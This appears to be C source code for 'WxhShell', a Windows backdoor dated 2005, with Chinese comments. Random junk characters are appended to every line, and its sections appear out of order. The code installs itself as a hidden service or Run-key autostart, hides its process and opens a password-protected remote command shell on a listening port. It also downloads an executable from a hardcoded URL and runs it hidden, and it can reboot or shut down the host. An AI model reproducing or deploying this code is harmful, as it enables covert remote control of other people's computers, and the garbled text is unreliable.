ULONG UniqueProcessId; 0SGczgg
ULONG InheritedFromUniqueProcessId; YA8yMh*4D?
} PROCESS_BASIC_INFORMATION; V)@nRJ g
U_zpLpm^
PROCNTQSIP NtQueryInformationProcess; ' /@!"IXz
*YEIG#`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %]P@G^Bv
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h} b^o*
.J7-4
HANDLE hProcess; W4] 0qp`\
PROCESS_BASIC_INFORMATION pbi; 0ghwFo
se*pkgWbz
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .+yJh
if(NULL == hInst ) return 0; LeRh(a`=$
JOE{&^j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &caO*R<#J}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \:f}X?:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5]2!Bb6>
hc4`'r;
if (!NtQueryInformationProcess) return 0; K\%"RgF@&
D?&w:C\&@z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ogh2kht
if(!hProcess) return 0; Tl0+Bq
]cO$ E=W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~9{-I{=
A`r$fCt1Vi
CloseHandle(hProcess); E%v[7 ST
sO f)/19
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A$Jn3Xd~!
if(hProcess==NULL) return 0; J4R
5SPl#*W
HMODULE hMod; 0ju wDd
char procName[255]; Pq_ApUZa
unsigned long cbNeeded; ^_#gIT\
S+\Mt+o
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YJtOdgG|q
jWb\"0)
CloseHandle(hProcess); ?;r7j V/`j
4VL!U?dk
if(strstr(procName,"services")) return 1; // 以服务启动 Se]t;7j
a!6OE"?QQ
return 0; // 注册表启动 14)kKWG
} <pa];k(IQL
*^$N$t/2
// 主模块 e715)_HD
int StartWxhshell(LPSTR lpCmdLine) P$#}-15?|_
{ W} +6L|
SOCKET wsl; oY#XWe8Om
BOOL val=TRUE; (UiH3Q9C]%
int port=0; g5TLX&Bd
struct sockaddr_in door; d T-O8
6`PGV+3j
if(wscfg.ws_autoins) Install(); {10+(Vl
7$!Bq#
port=atoi(lpCmdLine); 5'}!v
F@*r%[S/
if(port<=0) port=wscfg.ws_port; FK,r<+h
0BU:(o&
WSADATA data; h"%,eW|^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YUE1 '}
XajY'+DIsz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Jv$2wH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sv]"Y/N
door.sin_family = AF_INET; cF>;f(X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &G5I0:a
door.sin_port = htons(port); @eD~FNf-]
.dq.F#2B;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (h(ZL9!
closesocket(wsl); ZI:d&~1i1
return 1; TbUkqABm
} S>zKD
jC }u>AB
if(listen(wsl,2) == INVALID_SOCKET) { B 0fo[Ev
closesocket(wsl); ^ZZ@!Udy
return 1; C3`.-/{D"
} K`mxb}
Wxhshell(wsl); !QzMeN;D
WSACleanup(); ~d1RD
q\b9e&2Y
return 0; peP:5WB
5;%xqdD
} 9<#R;eIsv
PyJblW
// 以NT服务方式启动 `1}yB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m`w6wz
{ \VzQ1B>k
DWORD status = 0; +GEKg~/4e
DWORD specificError = 0xfffffff; :<|fZa4!"
Wh&Z *J
serviceStatus.dwServiceType = SERVICE_WIN32; cN(QTbyl6Q
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )9P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
TOP'Bmb
serviceStatus.dwWin32ExitCode = 0; zCN;LpbEJY
serviceStatus.dwServiceSpecificExitCode = 0; NomK(%8m$
serviceStatus.dwCheckPoint = 0; ,wy:RVv@e
serviceStatus.dwWaitHint = 0; 2Uw}'J_N
NxRiEe#m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1JY90l$ME
if (hServiceStatusHandle==0) return; t5[JN:an
cF6@.)
status = GetLastError(); (>% Vj
if (status!=NO_ERROR) )FiU1E
{ ku8Z;ONeH
serviceStatus.dwCurrentState = SERVICE_STOPPED;
rs
KE
serviceStatus.dwCheckPoint = 0; A^jm<~
serviceStatus.dwWaitHint = 0; |[t=.dK%
serviceStatus.dwWin32ExitCode = status; 8&AorYw[
serviceStatus.dwServiceSpecificExitCode = specificError; Z\yLzy#8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D.JVEKLkU
return; Jrrk$0H^~
} VY26Cf"
HCCp<2D"C
serviceStatus.dwCurrentState = SERVICE_RUNNING; h!3Z%M
serviceStatus.dwCheckPoint = 0;
0>J4O:k
serviceStatus.dwWaitHint = 0; V'#u_`x"D)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }C1}T}U
} 9d|7#)a;
gM:oP.
// 处理NT服务事件,比如:启动、停止 'r3}= z4Y
VOID WINAPI NTServiceHandler(DWORD fdwControl) =|^W]2W$
{ B3=/iOb#
switch(fdwControl) lY8Qy2k|
{ MZ[g|o!)v
case SERVICE_CONTROL_STOP: w'j]Y%
serviceStatus.dwWin32ExitCode = 0; [?(W7
serviceStatus.dwCurrentState = SERVICE_STOPPED; ziip*<a!_
serviceStatus.dwCheckPoint = 0; AZP>\Dq
serviceStatus.dwWaitHint = 0; P =Gb
{ zTzG&B-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q9
",
} aj~@r3E;
return; {?_)m/\
case SERVICE_CONTROL_PAUSE: S`-IQ,*}
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0To
5|r
break; LA3,e (e
case SERVICE_CONTROL_CONTINUE: T"lqPbK
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,l"2MXD
break; %6?}gc_
case SERVICE_CONTROL_INTERROGATE: ;qQzF
break; D-EM
}; f)fw87UPc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); alD|-{Bf
} >}tG^ )os
m$j;FKz+|
// 标准应用程序主函数 ImW~Jy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UeTp,
{ ?=Qg
clV/i&]Qa
// 获取操作系统版本 %Q01EjRes
OsIsNt=GetOsVer(); 4IpFT; `q
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,)m-nZ5
vUExS Z^
// 从命令行安装 O\{_)L
if(strpbrk(lpCmdLine,"iI")) Install(); zL}DLfy>R
uU"s50m
// 下载执行文件 6!m#_z8qG3
if(wscfg.ws_downexe) { f2XD^:Gc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'v5gg2
WinExec(wscfg.ws_filenam,SW_HIDE); 2)]*re)
} [^P2Kn
iIRigW
if(!OsIsNt) { 4H'&5
// 如果时win9x,隐藏进程并且设置为注册表启动 %^A++Z$`
HideProc(); ou4?`JF)-
StartWxhshell(lpCmdLine); 1@Gv`{v
} x/v+7Pt_
else 2?&ptN)`N
if(StartFromService()) `84yGXLK
// 以服务方式启动 x$4'a~E
StartServiceCtrlDispatcher(DispatchTable); 9&jNdB
else Z k_&Kw|
// 普通方式启动 _3JTHf<+
StartWxhshell(lpCmdLine); G9%4d;uFT
fQ) ;+
return 0; wEqCuhZ
} 6f1Y:qK'@
(b5af_ c
3_:k12%p
Ue%5
:Sdr
=========================================== ]>j_
Y,
-': tpJk
QJ'C?hn
-hfY:W`Dz
NyNu1V$
$x0F(|wxt
" W;yZ$k#q}(
;B@l0)7(x
#include <stdio.h> @[lr
F7`o
#include <string.h> 1k(*o.6
#include <windows.h> m\Nc}P_"p
#include <winsock2.h> =uEhxsj)S
#include <winsvc.h> M3;B]iRQD
#include <urlmon.h> OW^7aw(N6
&-tf/qJ
#pragma comment (lib, "Ws2_32.lib") zc5_;!t
#pragma comment (lib, "urlmon.lib") 1Zzw|@#>o
X[}%iEWzT
#define MAX_USER 100 // 最大客户端连接数 ponvi42u
#define BUF_SOCK 200 // sock buffer (d\bSo$]
#define KEY_BUFF 255 // 输入 buffer Vh&KfYY
|M&/(0
#define REBOOT 0 // 重启 [sRQd;+
#define SHUTDOWN 1 // 关机 6IH^rSUSK
su$juI{
#define DEF_PORT 5000 // 监听端口 w0SgF/"@
z9ZAY!Zhq]
#define REG_LEN 16 // 注册表键长度 ;E_{Zji_e
#define SVC_LEN 80 // NT服务名长度 -0Ek&"=Z^
6cvm\opH
// 从dll定义API 4kEFbzwx
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); otx7J\4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X88ZdM'
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )kUw,F=6
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I
Cs1=
vhW'2<(
// wxhshell配置信息 ?*0kQo'
struct WSCFG { 7y3; F7V
int ws_port; // 监听端口 *!kg@ _0K
char ws_passstr[REG_LEN]; // 口令 sa($3`d
int ws_autoins; // 安装标记, 1=yes 0=no hJM0A3(Cm
char ws_regname[REG_LEN]; // 注册表键名 N4pA3~P
char ws_svcname[REG_LEN]; // 服务名 a;sZNUSn
char ws_svcdisp[SVC_LEN]; // 服务显示名 ?u|g2!{_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 H'.d'OE:I
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -mF9Skj
int ws_downexe; // 下载执行标记, 1=yes 0=no mBF?+/l
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .nN7*))Fj
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~%ZO8X:^
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}; iD~s,
hb{(r@[WHv
// default Wxhshell configuration bB["Qd}Q
struct WSCFG wscfg={DEF_PORT, |9h[Q[m
"xuhuanlingzhe", ~Q0}>m,S
1, Yv)/DsSyL
"Wxhshell", qJsEKuOs
"Wxhshell", ,??|R`S
"WxhShell Service", p%_TbH3j`
"Wrsky Windows CmdShell Service", AKVmUS;70
"Please Input Your Password: ", SF7Kb `>Y
1, 622).N4
"http://www.wrsky.com/wxhshell.exe", pWqahrWh
"Wxhshell.exe" SzDi=lY
}; *SZ<ori
J.*=7zmw
// 消息定义模块 w~`P\i@
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3ba"[C|
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wil+"[Ge
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7gkHKdJoMA
char *msg_ws_ext="\n\rExit."; TBzM~y
char *msg_ws_end="\n\rQuit."; ^AN9m]P
char *msg_ws_boot="\n\rReboot..."; _\6-]
char *msg_ws_poff="\n\rShutdown..."; R;%iu0
char *msg_ws_down="\n\rSave to "; 9/Ls3U?
P-C_sj A7
char *msg_ws_err="\n\rErr!"; F&Gb[Q&a8
char *msg_ws_ok="\n\rOK!"; /"U<0jot
q)/4i9
char ExeFile[MAX_PATH]; Tr8+E;;
int nUser = 0; F=#Wfl-o
HANDLE handles[MAX_USER]; bF.Aj8ZQ
int OsIsNt; qr*/}F6
'#fj)
SERVICE_STATUS serviceStatus; :MpCj<<[
SERVICE_STATUS_HANDLE hServiceStatusHandle; n1ICW 9
4d#W[
// 函数声明 "](~VF[J8
int Install(void); XxGm,A+>Ty
int Uninstall(void); g!8-yri
int DownloadFile(char *sURL, SOCKET wsh); 9}=Fdt
int Boot(int flag); `fH6E8N
void HideProc(void); lyyi?/W%
int GetOsVer(void); cG<?AR?wDT
int Wxhshell(SOCKET wsl); GZ1>]HB>r^
void TalkWithClient(void *cs); ci!c7 ,'c
int CmdShell(SOCKET sock); <D__17W:;
int StartFromService(void); 1~+w7Ar=(
int StartWxhshell(LPSTR lpCmdLine); 5)vXmAD/0
l"+=z.l6;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bvoR?D\-"
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xn-n{U"
#pZ3xa3R
// 数据结构和表定义 1@am'#<
SERVICE_TABLE_ENTRY DispatchTable[] = ~HELMS~-
{ m4EkL
{wscfg.ws_svcname, NTServiceMain}, ~[C m#c
{NULL, NULL} ^^v!..V]J
}; .hvIq
.vr
>7n(*M
// 自我安装 vXc<#X9
int Install(void) N;htKcZ
{ i}!CY@sW
char svExeFile[MAX_PATH]; )3 ;S;b
HKEY key; $V[ob
strcpy(svExeFile,ExeFile); 76
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// 如果是win9x系统,修改注册表设为自启动 c9Cp!.#*E
if(!OsIsNt) { &0
@2JS/!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I*X|pRD
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +2vcUy
RegCloseKey(key); H*Yyo?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <